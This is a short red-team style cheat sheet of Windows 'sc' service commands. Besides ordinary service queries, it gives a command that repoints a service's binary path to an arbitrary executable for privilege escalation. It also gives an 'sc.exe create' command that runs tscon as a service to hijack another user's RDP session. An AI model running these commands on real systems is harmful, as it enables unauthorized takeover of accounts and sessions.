sc
Last updated
Last updated
sc qc WindowsScheduler
sc stop services
sc config services binPath=\path\to\file\file.exe
sc sdshow service
# Use this when you see the rdp session id using query user
# Note: This method no longer works on Server 2019.
sc.exe create sessionhijack binpath= "cmd.exe /k tscon 2 /dest:rdp-tcp#13"